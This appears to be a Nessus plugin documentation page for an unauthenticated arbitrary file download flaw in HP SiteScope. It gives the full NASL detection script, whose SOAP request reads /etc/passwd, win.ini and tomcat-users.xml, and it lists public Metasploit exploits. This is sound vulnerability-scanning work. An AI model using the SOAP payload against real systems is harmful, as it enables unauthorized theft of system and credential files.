HP SiteScope getFileInternal Arbitrary File Download - Nessus

High   Plugin ID: 62099

This page contains detailed information about the HP SiteScope getFileInternal Arbitrary File Download Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 62099
Name: HP SiteScope getFileInternal Arbitrary File Download
Filename: hp_sitescope_getfileinternal.nasl
Vulnerability Published: 2012-08-29
This Plugin Published: 2012-09-14
Last Modification Time: 2021-01-19
Plugin Version: 1.14
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: hp_sitescope_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: www/sitescope
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: 2012-08-29
Patch Published: 2012-09-19
CVE [?]: N/A
CPE [?]: cpe:/a:hp:mercury_sitescope

Synopsis

A web application on the remote host has an arbitrary file download vulnerability.

Description

The version of HP SiteScope hosted on the remote web server has an arbitrary file download vulnerability. The application hosts a web service that allows the getFileInternal() method to be invoked without authentication. A remote, unauthenticated attacker could exploit this to download arbitrary files.

This software has other unpatched vulnerabilities, though Nessus has not checked for those issues.

Solution

For versions 11.10, 11.11, and 11.12, upgrade to SiteScope 11.13. After upgrading, disable the vulnerable API by adding '_disableOldAPIs=true' to the master.config file.

For version 11.20, contact HP Software Support Online for patches.

Public Exploits


Target Network Port(s): 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the HP SiteScope getFileInternal Arbitrary File Download vulnerability:

  1. Metasploit: exploit/multi/http/hp_sitescope_uploadfileshandler
    [HP SiteScope Remote Code Execution]
  2. Metasploit: exploit/windows/http/hp_sitescope_runomagentcommand
    [HP SiteScope Remote Code Execution]
  3. D2 Elliot: hp_sitescope_11.20_file_upload.html
    [HP SiteScope 11.20 File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:N/A:N/E:POC/RL:OF/RC:C
CVSS Base Score:7.8 (High)
Impact Subscore:6.9
Exploitability Subscore:10.0
CVSS Temporal Score:6.1 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.1 (Medium)

Go back to menu.

Plugin Source


This is the hp_sitescope_getfileinternal.nasl nessus plugin source code. This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(62099);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(55269);

  script_name(english:"HP SiteScope getFileInternal Arbitrary File Download");
  script_summary(english:"Tries to download a file");

  script_set_attribute(
    attribute:"synopsis",
    value:
"A web application on the remote host has an arbitrary file download
vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The version of HP SiteScope hosted on the remote web server has an
arbitrary file download vulnerability.  The application hosts a web
service that allows the getFileInternal() method to be invoked without
authentication.  A remote, unauthenticated attacker could exploit this
to download arbitrary files.

This software has other unpatched vulnerabilities, though Nessus has
not checked for those issues."
  );
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-12-176/");
  # https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-c03489683
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c5e3c8e4");
  script_set_attribute(attribute:"solution", value:
"For versions 11.10, 11.11, and 11.12, upgrade to SiteScope 11.13. 
After upgrading, disable the vulnerable API by adding
'_disableOldAPIs=true' to the master.config file. 

For version 11.20, contact HP Software Support Online for patches."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"HP SiteScope 11.20 File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'HP SiteScope Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2012/08/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/09/19");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/09/14");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:hp:mercury_sitescope");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("hp_sitescope_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("www/sitescope");
  script_require_ports("Services/www", 8080);
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

WIN_FILE = 'c:\\windows\\win.ini';
UNIX_FILE = '/etc/passwd';
SS_FILE = 'Tomcat/conf/tomcat-users.xml';
patterns[WIN_FILE] = '=MPEGVideo';
patterns[UNIX_FILE] = 'root:.*:0:[01]:';
patterns[SS_FILE] = '<tomcat-users>';

port = get_http_port(default:8080);
install = get_install_from_kb(appname:'sitescope', port:port, exit_on_fail:TRUE);

if (report_paranoia < 2 && (os = get_kb_item('Host/OS')))
{
  if ('Windows' >< os)
    files = make_list(WIN_FILE, SS_FILE);
  else
    files = make_list(UNIX_FILE, SS_FILE);
}
else
{
  files = make_list(WIN_FILE, UNIX_FILE, SS_FILE);
}

hdr = make_array('SOAPAction', '""');
url = install['dir'] + '/services/APISiteScopeImpl';
file_contents = NULL;

foreach file (files)
{
  xml = '<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
 xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <soapenv:Body>
    <ns1:getFileInternal
     soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
     xmlns:ns1="http://Api.freshtech.COM">
       <in0 xsi:type="xsd:string">127.0.0.1</in0>
       <in1 xsi:type="xsd:string">' + file + '</in1>
    </ns1:getFileInternal>
  </soapenv:Body>
</soapenv:Envelope>';

  res = http_send_recv3(
    method:'POST',
    item:url,
    port:port,
    data:xml,
    add_headers:hdr,
    content_type:'text/xml; charset=utf-8',
    exit_on_fail:TRUE
  );
  poc = http_last_sent_request();
  
  headers = parse_http_headers(status_line:res[0], headers:res[1]);
  if (isnull(headers)) continue;
  
  match = eregmatch(string:headers['content-type'], pattern:'boundary="([^"]+)"');
  boundary = match[1];
  if (isnull(boundary)) continue;
  
  match = eregmatch(string:res[2], pattern:'getFileInternalReturn href="cid:([^"]+)"');
  cid = match[1];
  if (isnull(cid)) continue;
  
  file_contents = split(res[2], sep:'<' + cid + '>\r\n\r\n', keep:FALSE);
  file_contents = file_contents[1];
  file_contents = split(file_contents, sep:'\r\n--' + boundary, keep:FALSE);
  file_contents = substr(file_contents[0], 10);
  file_contents = zlib_decompress(data:file_contents, length:2048);
 
  if (!isnull(file_contents) && file_contents =~ patterns[file])
    break;
  else
    file_contents = NULL;
}

if (isnull(file_contents))
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'SiteScope', build_url(qs:install['dir'], port:port));

if (report_verbosity > 0)
{
  file_contents = data_protection::redact_etc_passwd(output:file_contents);
  report =
    '\nNessus requested "' + file + '" :\n\n' +
    poc +
    '\n\nWhich returned the following file contents :\n\n' +
    file_contents + '\n';
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/hp_sitescope_getfileinternal.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\hp_sitescope_getfileinternal.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/hp_sitescope_getfileinternal.nasl

Go back to menu.

How to Run


Here is how to run the HP SiteScope getFileInternal Arbitrary File Download as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select HP SiteScope getFileInternal Arbitrary File Download plugin ID 62099.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl hp_sitescope_getfileinternal.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a hp_sitescope_getfileinternal.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - hp_sitescope_getfileinternal.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state hp_sitescope_getfileinternal.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 76284 - HP AutoPass License Server Remote Code Execution (HPSBMU03045)
  • 57700 - HP Managed Printing Administration < 2.6.4 Multiple Vulnerabilities
  • 57701 - HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check)
  • 93844 - HP Network Automation RMI Registry Java Object Deserialization RCE
  • 76776 - HP OneView < 1.10 OpenSSL Multiple Vulnerabilities (HPSBGN03068)
  • 43155 - HP OpenView Network Node Manager Multiple Scripts hostname Parameter Remote Command Execution
  • 51850 - HP OpenView Performance Insight Server Backdoor Account
  • 90099 - HP Operations Orchestration 10.x < 10.51 Java Object Deserialization RCE
  • 44109 - HP Power Manager < 4.2.10
  • 101299 - HP SiteScope Multiple Vulnerabilities (HPESBGN03763)
  • 69195 - HP SiteScope Multiple Unspecified Remote Code Execution Vulnerabilities
  • 79719 - HP SiteScope SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)
  • 69983 - HP SiteScope SOAP Call runOMAgentCommand SOAP Request Arbitrary Remote Code Execution
  • 76769 - HP Smart Update Manager 6.x < 6.4.1 Multiple Vulnerabilities
  • 81917 - HP Universal Configuration Management Database Server Authentication Bypass
  • 102803 - HP iLO 4 <= 2.52 RCE
  • 140770 - HP iLO 3 < 1.93 / HP iLO 4 < 2.75 / HP iLO Superdome 4 < 1.64 / HP iLO 5 < 2.18 / HP Moonshot/Edgeline iLO 5 < 2.30 Ripple20 Multiple vulnerabilities
  • 29249 - HP OpenView Network Node Manager Multiple CGI Remote Overflows
  • 19555 - HP OpenView Network Node Manager Multiple Scripts Remote Command Execution
  • 51645 - HP OpenView Network Node Manager Remote Execution of Arbitrary Code (HPSBMA02621 SSRT100352)
  • 35657 - HP OpenView Network Node Manager webappmon.exe Command Injection (c01661610)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file hp_sitescope_getfileinternal.nasl version 1.14. For more plugins, visit the Nessus Plugin Library.

Go back to menu.